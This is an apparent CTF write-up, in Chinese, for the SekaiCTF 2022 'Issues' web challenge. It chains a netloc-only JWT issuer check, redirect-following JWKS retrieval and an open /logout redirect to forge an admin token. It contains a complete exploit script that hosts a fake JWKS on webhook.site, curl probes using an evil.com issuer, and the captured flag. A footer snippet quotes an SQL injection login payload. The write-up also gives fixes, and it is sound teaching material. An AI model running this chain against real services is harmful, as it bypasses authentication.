# Issues
> 题面:Can you become an admin and get the flag?
> 实例:`http://49.232.142.230:18220`(官方源码:[project-sekai-ctf/sekaictf-2022 → web/issues](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/issues))
## Summary
`/api/*` 用 RS256 JWT 鉴权,但 header 里 `issuer` **只校验 netloc**,公钥却从 `{issuer}/.well-known/jwks.json` 拉取且 `requests.get` 默认跟随重定向;`/logout?redirect=` 又是**完全开放的 302**。三者组合:让 issuer 的 netloc 仍是合法域名、其余部分把服务端 302 到攻击者控制的伪 `jwks.json` —— 于是用自己生成的 RSA 密钥签发 `{"user":"admin"}` 的 JWT 就能通过 `/api/flag` 的鉴权拿 flag。
## 源码关键点
```python
# api.py —— issuer 仅校验 netloc,公钥 URL 直接把整个 issuer 拼进去
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
# api.py —— requests 默认跟随重定向;公钥取 keys[0].x5c[0]
resp = requests.get(url) # ← 跟随 302!
key = resp.json()["keys"][0]["x5c"][0]
# app.py —— /logout 完全开放重定向
redirect_uri = request.args.get('redirect', url_for('home'))
return redirect(redirect_uri)
# app.py —— after_request 把响应体包进 template.html(错误信息也会回显出来)
updated = render_template("template.html", status=response.status_code,
message=response.response[0].decode())
```
默认 `HOST=localhost:8080`(Dockerfile),但部署实例可能覆盖 —— 需要先确认。
## Solution
### Step 1: 套出部署实例的真实 HOST
`get_unverified_header()` 只 base64 解析 JWT 头、**不验签**,而 issuer 校验失败会抛出
`Invalid issuer netloc: x. Should be: <HOST>`,经 errorhandler(500)+ `after_request` 回显在 HTML 里。
所以随便发一个 netloc 不匹配的假头即可:
```bash
b64u() { openssl base64 -A | tr '+/' '-_' | tr -d '='; }
tok="$(printf '{"alg":"RS256","issuer":"http://evil.com","typ":"JWT"}' | b64u).$(printf '{}' | b64u).$(printf 'sig' | b64u)"
curl -s http://49.232.142.230:18220/api/flag -H "Authorization: Bearer $tok" | grep -o 'Should be: [^<]*'
# → Invalid issuer netloc: evil.com. Should be: localhost:8080
```
实际回显(证据 `/tmp/issues_exp/host_leak5.html`):**HOST = `localhost:8080`**(Dockerfile 默认值未被覆盖)。
### Step 2: 部署伪 JWKS → 签发 admin JWT → 取 flag(完整脚本)
```python
#!/usr/bin/env python3
# pip install requests pyjwt cryptography
import base64, json, re, requests, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
TARGET = "http://49.232.142.230:18220"
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
# ---- 1. 套出真实 HOST(issuer netloc 不匹配即可触发回显,无需有效签名)----
hdr = {"alg": "RS256", "typ": "JWT", "issuer": "http://evil.com"}
probe = f"{b64u(json.dumps(hdr).encode())}.{b64u(b'{}')}.{b64u(b'A'*64)}"
r = requests.get(f"{TARGET}/api/flag", headers={"Authorization": f"Bearer {probe}"})
host = re.search(r"Should be: ([^\s<]+)", r.text).group(1)
print(f"[+] valid issuer netloc (HOST) = {host}")
# ---- 2. 生成 RSA 密钥对与伪 jwks.json ----
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
der = key.public_key().public_bytes(serialization.Encoding.DER,
serialization.PublicFormat.SubjectPublicKeyInfo)
# x5c 必须与官方 jwks 同构:64 字符换行、结尾不能带换行(尾部 \n 会让 cryptography 报
# 'Could not deserialize key data')
x5c = base64.encodebytes(der).decode().rstrip("\n")
jwks = {"keys": [{"alg": "RS256", "x5c": [x5c]}]}
pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption()).decode()
# ---- 3. 部署伪 jwks 到 webhook.site(任意路径都返回 default_content)----
uuid = requests.post("https://webhook.site/token", json={}).json()["uuid"]
requests.put(f"https://webhook.site/token/{uuid}", json={
"default_status": 200,
"default_content_type": "application/json",
"default_content": json.dumps(jwks), # jwks 原文作为默认响应体
})
got = requests.get(f"https://webhook.site/{uuid}/.well-known/jwks.json").json()
assert got == jwks, "webhook 内容不一致"
print(f"[+] fake jwks deployed: https://webhook.site/{uuid}")
# ---- 4. 构造 issuer:netloc 合法 + /logout 把服务端 302 到伪 jwks ----
issuer = f"http://{host}/logout?redirect=https://webhook.site/{uuid}"
# 服务端实际请求: http://<HOST>/logout?redirect=https://webhook.site/<uuid>/.well-known/jwks.json
# → 302 到 https://webhook.site/<uuid>/.well-known/jwks.json → 拿到我们的伪 jwks
tok = jwt.encode({"user": "admin"}, pem, algorithm="RS256", headers={"issuer": issuer})
print(f"[+] forged admin JWT:\n{tok}")
# ---- 5. 访问 /api/flag ----
r = requests.get(f"{TARGET}/api/flag", headers={"Authorization": f"Bearer {tok}"})
print(f"[+] /api/flag → HTTP {r.status_code}")
print("[+] FLAG:", re.search(r"SEKAI\{[^}]+\}", r.text).group(0))
```
运行结果:
```text
[+] valid issuer netloc (HOST) = localhost:8080
[+] fake jwks deployed: https://webhook.site/12626fc3-e5c8-42cd-b29d-950eccdaa21a
[+] /api/flag → HTTP 200
[+] FLAG: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
```
最终响应(`/api/flag` 的 body 被 `after_request` 包进模板后就是一面"旗子墙"):
```html
<h1 class="inline-block text-left w-fit">
<span class="my-4 text-xl font-semibold">HTTP 200</span><br>
<span class="my-4 text-5xl font-bold">SEKAI{v4l1d4t3_y0ur_i55u3r_plz}</span>
</h1>
```
### 已有 JWT 直接复现
```bash
curl -s http://49.232.142.230:18220/api/flag \
-H "Authorization: Bearer $(cat /tmp/issues_exp/admin.jwt)"
```
## 踩坑记录
- **x5c 结尾换行**:`base64.encodebytes()` 的尾部 `\n` 若原样放进 x5c,服务端拼出的 PEM 会让 cryptography 报 `Could not deserialize key data` —— 记得 `rstrip("\n")`(内部换行保留无妨)。
- **手工拼探测 JWT**:三段必须都是合法 base64url(`-`/`_` 字母表、去掉 `=`),否则在 issuer 校验前就报 `Invalid crypto padding`。
- **webhook.site 不需要结尾 `?` 技巧**:它对任意路径都返回 default_content,所以 redirect 里直接给 `https://webhook.site/<uuid>` 即可;若换成只认精确路径的 JSON 托管服务,redirect 值要以 `?` 结尾,把 `/.well-known/jwks.json` 挤进 query。
- payload 只要 `{"user":"admin"}`,服务端只查这一个 claim,不验 `exp`/`aud`。
## 修复建议
1. `issuer` 应整段校验(或只信任固定白名单 URL),而不是仅比较 netloc;
2. 拉取 JWKS 时禁用重定向(`requests.get(url, allow_redirects=False)`);
3. `/logout` 的 redirect 应限制为站内相对路径;
4. 错误信息不应回显内部配置(`Should be: <HOST>` 直接泄露了合法 issuer)。
## Flag
```
SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
```
Issues-wp
Zengan 2026-09-17 13:59:23 7 0 返回题目详情
作者:Zengan
8
提交0
收入相关WriteUP
-
Web安全入门指北—POST
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
post-the-get
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
my-first-sqli
username=admin'and1=1--+password任意输入,即可登录
- WEB
- 3年前
-
inspect-me-WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
Python Pickle Unserializer—WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前